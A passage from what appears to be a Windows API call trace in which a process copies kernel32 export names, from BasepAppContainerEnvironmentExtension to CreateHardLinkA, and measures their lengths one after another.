lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0149.219] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0149.219] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0149.219] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0149.219] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0149.219] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0149.219] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0149.219] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0149.219] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0149.219] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0149.219] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0149.219] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0149.219] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0149.220] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0149.220] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0149.220] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0149.220] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0149.220] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0149.220] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0149.220] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0149.220] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0149.220] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0149.220] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0149.220] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0149.220] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0149.220] lstrlenA (lpString="BEEP") returned 4 [0149.220] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0149.220] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0149.221] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0149.221] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0149.221] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0149.221] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0149.221] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0149.221] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0149.221] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0149.221] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0149.221] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0149.221] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0149.221] lstrlenA (lpString="CANCELIO") returned 8 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0149.221] lstrlenA (lpString="CANCELIOEX") returned 10 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0149.221] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0149.221] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0149.221] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0149.221] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0149.222] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0149.222] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0149.222] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0149.222] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0149.222] lstrlenA (lpString="CHECKELEVATION") returned 14 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0149.222] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0149.222] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0149.222] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0149.222] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0149.222] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0149.222] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0149.222] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0149.222] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0149.222] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0149.222] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0149.223] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0149.223] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0149.223] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0149.223] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0149.223] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0149.223] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0149.223] lstrlenA (lpString="CLOSESTATE") returned 10 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0149.223] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0149.223] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0149.223] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0149.224] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0149.224] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0149.224] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0149.224] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0149.224] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0149.224] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0149.224] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0149.224] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0149.224] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0149.224] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0149.224] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0149.224] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0149.224] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0149.224] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0149.224] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0149.224] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0149.225] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0149.225] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0149.225] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0149.225] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0149.225] lstrlenA (lpString="COPYCONTEXT") returned 11 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0149.225] lstrlenA (lpString="COPYFILE2") returned 9 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0149.225] lstrlenA (lpString="COPYFILEA") returned 9 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0149.225] lstrlenA (lpString="COPYFILEEXA") returned 11 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0149.225] lstrlenA (lpString="COPYFILEEXW") returned 11 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0149.225] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0149.225] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0149.225] lstrlenA (lpString="COPYFILEW") returned 9 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0149.225] lstrlenA (lpString="COPYLZFILE") returned 10 [0149.225] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0149.225] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0149.226] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0149.226] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0149.226] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0149.226] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0149.226] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0149.226] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0149.226] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0149.226] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0149.226] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0149.226] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0149.226] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0149.226] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0149.226] lstrlenA (lpString="CREATEEVENTA") returned 12 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0149.226] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0149.226] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0149.226] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0149.227] lstrlenA (lpString="CREATEEVENTW") returned 12 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0149.227] lstrlenA (lpString="CREATEFIBER") returned 11 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0149.227] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0149.227] lstrlenA (lpString="CREATEFILE2") returned 11 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0149.227] lstrlenA (lpString="CREATEFILEA") returned 11 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0149.227] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0149.227] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0149.227] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0149.227] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0149.227] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0149.227] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0149.227] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0149.227] lstrlenA (lpString="CREATEFILEW") returned 11 [0149.227] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") 